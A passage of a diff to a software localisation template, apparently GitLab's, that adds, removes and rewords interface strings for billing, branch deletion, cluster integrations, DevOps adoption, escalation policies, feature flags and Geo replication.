@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
